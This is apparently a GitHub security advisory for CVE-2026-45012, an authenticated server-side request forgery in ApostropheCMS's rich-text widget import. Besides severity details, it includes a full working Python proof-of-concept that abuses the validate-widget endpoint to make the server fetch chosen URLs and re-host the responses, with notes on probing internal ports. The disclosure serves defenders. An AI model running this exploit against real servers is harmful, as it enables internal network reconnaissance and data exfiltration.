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Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget

High severity GitHub Reviewed Published May 13, 2026 in apostrophecms/apostrophe

Package

npm apostrophe (npm)

Affected versions

<= 4.29.0

Patched versions

None

Description

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer:

  • packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js
  • packages/apostrophe/modules/@apostrophecms/area/index.js
  • packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior:

  1. The backend accepts a widget payload containing import.html.
  2. It parses <img src=...> values from that HTML.
  3. For each image, it resolves the URL with:
    • new URL(src, input.import.baseUrl || self.apos.baseUrl)
  4. It then performs a server-side fetch(url).
  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through:

  • POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

  1. Start a local HTTP server with a valid PNG:
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
  1. Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
  1. Example usage:
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
  1. Expected result:
    • The local listener receives:
      GET /secret.png HTTP/1.1
    • The API response includes a rewritten Apostrophe image URL and imageIds.
    • The generated image URL can then be fetched through the application.

Additional note:

  • If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can:

  • trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
  • perform blind or semi-blind internal port and service discovery
  • exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content

References

@boutell boutell published to apostrophecms/apostrophe May 13, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-45012

GHSA ID

GHSA-pr28-mf3q-qpg6

Credits

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